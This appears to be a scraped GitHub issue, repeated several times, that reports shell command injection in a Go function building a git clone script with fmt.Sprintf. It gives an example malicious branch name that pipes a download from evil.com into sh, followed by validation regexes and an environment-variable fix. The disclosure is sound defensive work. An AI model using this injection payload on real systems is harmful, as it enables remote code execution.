The createGitContainer function interpolates cfg.branch, cfg.repoURL, and cfg.commitSHA directly into a shell script string using fmt.Sprintf without any escaping or validation:
An attacker who can create or update an app (authenticated user) can set the branch name or repo URL to include shell metacharacters, achieving arbitrary command execution inside the git clone container. For example, a branch name of:
main; curl http://evil.com/pwn | sh #
would execute arbitrary commands.
The commitSHA comes from webhook payloads, so an external attacker who knows the webhook secret could also exploit this.
Suggested Fix
Validate that branch names match ^[a-zA-Z0-9._/\-]+$
Validate that commit SHAs match ^[0-9a-f]{40}$
Better: pass arguments as separate git command arguments instead of using sh -c with string interpolation. Use a multi-step entrypoint or a shell script that receives arguments via environment variables:
Env:[]string{"GIT_SSH_COMMAND="+gitSSHCmd,"CLONE_URL="+cfg.repoURL,"CLONE_BRANCH="+cfg.branch,"CLONE_SHA="+cfg.commitSHA,},Cmd:[]string{"sh","-c","git clone --branch \"$CLONE_BRANCH\" \"$CLONE_URL\" /repo && cd /repo && if [ -n \"$CLONE_SHA\" ]; then git checkout \"$CLONE_SHA\"; fi && echo COMMIT:$(git rev-parse HEAD)"},
## Bug
**File:** `internal/docker/client.go`, `createGitContainer()` (~line 340-360)
**Severity:** CRITICAL — Remote Code Execution
### Description
The `createGitContainer` function interpolates `cfg.branch`, `cfg.repoURL`, and `cfg.commitSHA` directly into a shell script string using `fmt.Sprintf` without any escaping or validation:
```go
script := fmt.Sprintf(
"git clone --branch %s %s /repo && cd /repo && git checkout %s && echo COMMIT:$(git rev-parse HEAD)",
cfg.branch, cfg.repoURL, cfg.commitSHA,
)
cmd = []string{"sh", "-c", script}
```
An attacker who can create or update an app (authenticated user) can set the branch name or repo URL to include shell metacharacters, achieving arbitrary command execution inside the git clone container. For example, a branch name of:
```
main; curl http://evil.com/pwn | sh #
```
would execute arbitrary commands.
The `commitSHA` comes from webhook payloads, so an external attacker who knows the webhook secret could also exploit this.
### Suggested Fix
1. Validate that branch names match `^[a-zA-Z0-9._/\-]+$`
2. Validate that commit SHAs match `^[0-9a-f]{40}$`
3. Better: pass arguments as separate `git` command arguments instead of using `sh -c` with string interpolation. Use a multi-step entrypoint or a shell script that receives arguments via environment variables:
```go
Env: []string{
"GIT_SSH_COMMAND=" + gitSSHCmd,
"CLONE_URL=" + cfg.repoURL,
"CLONE_BRANCH=" + cfg.branch,
"CLONE_SHA=" + cfg.commitSHA,
},
Cmd: []string{"sh", "-c", "git clone --branch \"$CLONE_BRANCH\" \"$CLONE_URL\" /repo && cd /repo && if [ -n \"$CLONE_SHA\" ]; then git checkout \"$CLONE_SHA\"; fi && echo COMMIT:$(git rev-parse HEAD)"},
```
while we assume that any authenticated user has root on the docker host anyway, this isn't a security bug. that said, i'd like it fixed. implement all 3 items in the suggested fix on a branch and make a PR.
while we assume that any authenticated user has root on the docker host anyway, this isn't a security bug. that said, i'd like it fixed. implement all 3 items in the suggested fix on a branch and make a PR.
Blocking a user prevents them from interacting with repositories, such as opening or commenting on pull requests or issues. Learn more about blocking a user.
Bug
File:
internal/docker/client.go,createGitContainer()(~line 340-360)Severity: CRITICAL — Remote Code Execution
Description
The
createGitContainerfunction interpolatescfg.branch,cfg.repoURL, andcfg.commitSHAdirectly into a shell script string usingfmt.Sprintfwithout any escaping or validation:An attacker who can create or update an app (authenticated user) can set the branch name or repo URL to include shell metacharacters, achieving arbitrary command execution inside the git clone container. For example, a branch name of:
would execute arbitrary commands.
The
commitSHAcomes from webhook payloads, so an external attacker who knows the webhook secret could also exploit this.Suggested Fix
^[a-zA-Z0-9._/\-]+$^[0-9a-f]{40}$gitcommand arguments instead of usingsh -cwith string interpolation. Use a multi-step entrypoint or a shell script that receives arguments via environment variables:while we assume that any authenticated user has root on the docker host anyway, this isn't a security bug. that said, i'd like it fixed. implement all 3 items in the suggested fix on a branch and make a PR.